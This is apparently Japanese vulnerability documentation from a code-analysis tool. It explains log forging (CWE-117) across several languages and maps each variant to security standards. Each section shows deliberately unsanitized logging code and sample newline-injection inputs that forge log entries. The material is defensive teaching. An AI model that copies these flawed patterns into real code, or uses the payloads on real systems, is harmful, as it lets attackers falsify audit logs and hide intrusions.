次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例:次の Web アプリケーションコードはリクエストオブジェクトから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}


ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


Failed to parse val=twenty-one


しかし、攻撃者が「twenty-one%0a%0aINFO:+User+logged+out%3dbadguy」という文字列を送信すると、以下のエントリが記録されます。


Failed to parse val=twenty-one

User logged out=badguy


明らかに、攻撃者はこれと同じメカニズムを使って任意のログ エントリを挿入できます。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.actionscript.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1.信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2.データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例: 次の Web アプリケーション コードはリクエスト オブジェクトから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...


ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


INFO: Failed to parse val=twenty-one


しかし、攻撃者が「twenty-one%0a%0aINFO:+User+logged+out%3dbadguy」という文字列を送信すると、以下のエントリが記録されます。


INFO: Failed to parse val=twenty-one

INFO: User logged out=badguy


明らかに、攻撃者はこれと同じメカニズムを使って任意のログ エントリを挿入できます。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. アプリケーションまたはシステムのログファイルに書き込まれたデータ。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの性質により異なりますが、ログファイルは必要に応じて手動で見直すことも、重要なデータポイントや傾向を検索するツールで自動的に選別することもできます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを与えることができる場合、ログファイルのチェックが妨害されたり、ログデータに基づく結論が誤っていたりすることがあります。ログエントリの区切り文字をデータに含めることにより、攻撃者が偽りの項目をログファイルに挿入するかもしれません。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者がコードやその他のコマンドをログファイルに挿入し、ログ処理ユーティリティの脆弱性を利用する可能性もあります [2]。

例: CGI スクリプトからの次のコードは、ユーザーによって送信された文字列を受け取り、long 整数値に変換しようと試みます。整数として値を解析できない場合は、何が起きたかを示すエラーメッセージとともに値が記録されます。


long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...



ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


Illegal value=twenty-one


しかし、攻撃者が「twenty-one\n\nINFO: User logged out=evil」という文字列を送信すると、以下のエントリが記録されます。


INFO: Illegal value=twenty-one

INFO: User logged out=evil


明らかに、攻撃者は同じ仕組みを利用して任意のログ エントリを挿入できます。このタイプの Log Forging 攻撃が有効性を持つには、攻撃者はまず有効なログエントリのフォーマットを識別する必要がありますが、多くの場合、これはターゲットアプリケーションにおける System Information Leak により可能になります。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.cpp.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い、不正なエントリをログ ファイルに挿入する可能性があります。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりして、ファイルを使用できなくする可能性があります。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例:次の Web アプリケーションコードは HTML フォームから値を読み込もうとします。その後、この値は記録されます。


...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...

EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.

EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...


ユーザーが VAL として「FOO」という文字列を送信すると、以下のエントリが記録されます。


VAL: FOO


しかし、攻撃者が「FOO VAL: BAR」という文字列を送信すると、以下のエントリが記録されます。


VAL: FOO VAL: BAR


明らかに、攻撃者はこれと同じメカニズムを使って任意のログ エントリを挿入できます。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
